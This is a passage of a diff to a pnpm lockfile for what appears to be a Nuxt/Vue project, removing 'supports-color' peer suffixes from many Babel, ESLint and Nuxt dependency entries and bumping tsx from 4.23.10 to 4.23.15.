7.29.7 + '@babel/helper-module-imports': 7.29.7 '@babel/helper-validator-identifier': 7.29.7 - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 transitivePeerDependencies: - supports-color @@ -6024,18 +6032,18 @@ snapshots: '@babel/helper-plugin-utils@7.29.7': {} - '@babel/helper-replace-supers@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@babel/helper-replace-supers@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) - '@babel/helper-member-expression-to-functions': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 + '@babel/helper-member-expression-to-functions': 7.29.7 '@babel/helper-optimise-call-expression': 7.29.7 - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 transitivePeerDependencies: - supports-color - '@babel/helper-skip-transparent-expression-wrappers@7.29.7(supports-color@10.2.2)': + '@babel/helper-skip-transparent-expression-wrappers@7.29.7': dependencies: - '@babel/traverse': 7.29.8(supports-color@10.2.2) + '@babel/traverse': 7.29.8 '@babel/types': 7.29.8 transitivePeerDependencies: - supports-color @@ -6063,24 +6071,24 @@ snapshots: dependencies: '@babel/types': 8.0.4 - '@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))': + '@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))': + '@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2)': + '@babel/plugin-transform-typescript@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.7(supports-color@10.2.2) + '@babel/core': 7.29.7 '@babel/helper-annotate-as-pure': 7.29.7 - '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2))(supports-color@10.2.2) + '@babel/helper-create-class-features-plugin': 7.29.7(@babel/core@7.29.7) '@babel/helper-plugin-utils': 7.29.7 - '@babel/helper-skip-transparent-expression-wrappers': 7.29.7(supports-color@10.2.2) - '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7(supports-color@10.2.2)) + '@babel/helper-skip-transparent-expression-wrappers': 7.29.7 + '@babel/plugin-syntax-typescript': 7.29.7(@babel/core@7.29.7) transitivePeerDependencies: - supports-color @@ -6090,7 +6098,7 @@ snapshots: '@babel/parser': 7.29.8 '@babel/types': 7.29.8 - '@babel/traverse@7.29.8(supports-color@10.2.2)': + '@babel/traverse@7.29.8': dependencies: '@babel/code-frame': 7.29.7 '@babel/generator': 7.29.8 @@ -6098,7 +6106,7 @@ snapshots: '@babel/parser': 7.29.8 '@babel/template': 7.29.7 '@babel/types': 7.29.8 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 transitivePeerDependencies: - supports-color @@ -6292,17 +6300,17 @@ snapshots: dependencies: postcss-selector-parser: 7.1.5 - '@dxup/nuxt@0.5.6(esbuild@0.25.12)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))': + '@dxup/nuxt@0.5.6(esbuild@0.25.12)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))': dependencies: '@dxup/unimport': 0.1.2 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) '@vue/compiler-dom': 3.5.41 chokidar: 5.0.0 knitwork: 1.3.0 magic-string: 1.1.0 pathe: 2.0.3 tinyglobby: 0.2.17 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) transitivePeerDependencies: - '@farmfe/core' - '@rspack/core' @@ -6521,23 +6529,23 @@ snapshots: '@esbuild/win32-x64@0.28.1': optional: true - '@eslint-community/eslint-utils@4.10.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))': + '@eslint-community/eslint-utils@4.10.1(eslint@10.8.0(jiti@2.7.0))': dependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.2': {} - '@eslint/compat@2.1.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))': + '@eslint/compat@2.1.0(eslint@10.8.0(jiti@2.7.0))': dependencies: '@eslint/core': 1.2.1 optionalDependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) - '@eslint/config-array@0.23.5(supports-color@10.2.2)': + '@eslint/config-array@0.23.5': dependencies: '@eslint/object-schema': 3.0.5 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 minimatch: 10.2.6 transitivePeerDependencies: - supports-color @@ -6550,13 +6558,13 @@ snapshots: dependencies: '@eslint/core': 1.2.1 - '@eslint/config-inspector@3.2.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(srvx@0.11.22)': + '@eslint/config-inspector@3.2.0(eslint@10.8.0(jiti@2.7.0))(srvx@0.11.22)': dependencies: ansis: 4.3.1 cac: 7.0.0 chokidar: 5.0.0 devframe: 0.8.2(cac@7.0.0)(srvx@0.11.22) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) jiti: 2.7.0 tinyglobby: 0.2.17 transitivePeerDependencies: @@ -6573,9 +6581,9 @@ snapshots: mdn-data: 2.29.0 source-map-js: 1.2.1 - '@eslint/js@10.0.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))': + '@eslint/js@10.0.1(eslint@10.8.0(jiti@2.7.0))': optionalDependencies: - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + eslint: 10.8.0(jiti@2.7.0) '@eslint/object-schema@3.0.5': {} @@ -7088,19 +7096,19 @@ snapshots: '@kurkle/color@0.3.4': {} - '@kwsites/file-exists@1.1.1(supports-color@10.2.2)': + '@kwsites/file-exists@1.1.1': dependencies: - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 transitivePeerDependencies: - supports-color '@kwsites/promise-deferred@1.1.1': {} - '@mapbox/node-pre-gyp@2.0.3(supports-color@10.2.2)': + '@mapbox/node-pre-gyp@2.0.3': dependencies: consola: 3.4.2 detect-libc: 2.1.2 - https-proxy-agent: 7.0.6(supports-color@10.2.2) + https-proxy-agent: 7.0.6 node-fetch: 2.7.0 nopt: 8.1.0 semver: 7.8.5 @@ -7142,7 +7150,7 @@ snapshots: '@nodelib/fs.scandir': 2.1.5 fastq: 1.20.1 - '@nuxt/cli@3.37.0(@nuxt/schema@4.5.2)(@parcel/watcher@2.6.0)(cac@7.0.0)(magicast@0.5.4)(supports-color@10.2.2)': + '@nuxt/cli@3.37.0(@nuxt/schema@4.5.2)(@parcel/watcher@2.6.0)(cac@7.0.0)(magicast@0.5.4)': dependencies: '@bomb.sh/tab': 0.0.19(cac@7.0.0)(citty@0.2.2) '@clack/prompts': 1.7.0 @@ -7150,7 +7158,7 @@ snapshots: citty: 0.2.2 confbox: 0.2.4 consola: 3.4.2 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 defu: 6.1.7 exsolve: 1.1.1 fuse.js: 7.5.0 @@ -7183,11 +7191,11 @@ snapshots: '@nuxt/devalue@2.0.2': {} - '@nuxt/devtools-kit@3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))': + '@nuxt/devtools-kit@3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) execa: 8.0.1 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - magic-string - magicast @@ -7195,11 +7203,11 @@ snapshots: - rolldown - unplugin - '@nuxt/devtools-kit@4.0.0-alpha.7(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))': + '@nuxt/devtools-kit@4.0.0-alpha.7(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))': dependencies: - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) tinyexec: 1.3.0 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - magic-string - magicast @@ -7218,11 +7226,11 @@ snapshots: pkg-types: 2.3.1 semver: 7.8.5 - '@nuxt/devtools@3.4.1(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2))(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(supports-color@10.2.2)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': + '@nuxt/devtools@3.4.1(db0@0.3.4)(ioredis@5.11.1)(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))': dependencies: - '@nuxt/devtools-kit': 3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + '@nuxt/devtools-kit': 3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) '@nuxt/devtools-wizard': 3.4.1 - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) '@vue/devtools-core': 8.2.1(vue@3.5.41(typescript@6.0.3)) '@vue/devtools-kit': 8.2.1 birpc: 4.0.0 @@ -7244,14 +7252,14 @@ snapshots: perfect-debounce: 2.1.0 pkg-types: 2.3.1 semver: 7.8.5 - simple-git: 3.36.0(supports-color@10.2.2) + simple-git: 3.36.0 sirv: 3.0.2 structured-clone-es: 2.0.1 tinyglobby: 0.2.17 - unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)) - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) - vite-plugin-inspect: 11.4.1(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - vite-plugin-vue-tracer: 1.4.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + unstorage: 1.17.5(db0@0.3.4)(ioredis@5.11.1) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) + vite-plugin-inspect: 11.4.1(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + vite-plugin-vue-tracer: 1.4.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) which: 6.0.1 ws: 8.21.2 transitivePeerDependencies: @@ -7283,30 +7291,30 @@ snapshots: - utf-8-validate - vue - '@nuxt/eslint-config@1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@nuxt/eslint-config@1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@antfu/install-pkg': 2.0.1 '@clack/prompts': 1.7.0 - '@eslint/js': 10.0.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - '@nuxt/eslint-plugin': 1.17.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - '@stylistic/eslint-plugin': 5.10.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) - eslint-config-flat-gitignore: 2.3.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + '@eslint/js': 10.0.1(eslint@10.8.0(jiti@2.7.0)) + '@nuxt/eslint-plugin': 1.17.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@stylistic/eslint-plugin': 5.10.0(eslint@10.8.0(jiti@2.7.0)) + '@typescript-eslint/eslint-plugin': 8.66.0(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + '@typescript-eslint/parser': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + eslint: 10.8.0(jiti@2.7.0) + eslint-config-flat-gitignore: 2.3.0(eslint@10.8.0(jiti@2.7.0)) eslint-flat-config-utils: 3.2.0 - eslint-merge-processors: 2.0.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint-plugin-import-lite: 0.6.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint-plugin-import-x: 4.17.1(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2) - eslint-plugin-jsdoc: 63.3.3(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2) - eslint-plugin-regexp: 3.1.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint-plugin-unicorn: 73.0.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) - eslint-plugin-vue: 10.10.0(@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)))(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)) - eslint-processor-vue-blocks: 2.0.0(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2)) + eslint-merge-processors: 2.0.0(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-import-lite: 0.6.0(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-import-x: 4.17.1(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-jsdoc: 63.3.3(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-regexp: 3.1.1(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-unicorn: 73.0.0(eslint@10.8.0(jiti@2.7.0)) + eslint-plugin-vue: 10.10.0(@stylistic/eslint-plugin@5.10.0(eslint@10.8.0(jiti@2.7.0)))(@typescript-eslint/parser@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(eslint@10.8.0(jiti@2.7.0))(vue-eslint-parser@10.4.1(eslint@10.8.0(jiti@2.7.0))) + eslint-processor-vue-blocks: 2.0.0(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)) globals: 17.9.0 local-pkg: 1.2.1 pathe: 2.0.3 - vue-eslint-parser: 10.4.1(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2) + vue-eslint-parser: 10.4.1(eslint@10.8.0(jiti@2.7.0)) transitivePeerDependencies: - '@typescript-eslint/utils' - '@vue/compiler-sfc' @@ -7314,31 +7322,31 @@ snapshots: - supports-color - typescript - '@nuxt/eslint-plugin@1.17.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3)': + '@nuxt/eslint-plugin@1.17.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3)': dependencies: '@typescript-eslint/types': 8.66.0 - '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - eslint: 10.8.0(jiti@2.7.0)(supports-color@10.2.2) + '@typescript-eslint/utils': 8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3) + eslint: 10.8.0(jiti@2.7.0) transitivePeerDependencies: - supports-color - typescript - '@nuxt/eslint@1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(srvx@0.11.22)(supports-color@10.2.2)(typescript@6.0.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))': + '@nuxt/eslint@1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0))(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(srvx@0.11.22)(typescript@6.0.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))': dependencies: - '@eslint/config-inspector': 3.2.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(srvx@0.11.22) - '@nuxt/devtools-kit': 3.4.1(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - '@nuxt/eslint-config': 1.17.0(@typescript-eslint/utils@8.66.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3))(@vue/compiler-sfc@3.5.41)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - '@nuxt/eslint-plugin': 1.17.0(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(supports-color@10.2.2)(typescript@6.0.3) - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@eslint/config-inspector': 3.2.0(eslint@10.8.0(jiti@2.7.0))(srvx@0.11.22) + '@nuxt/devtools-kit': 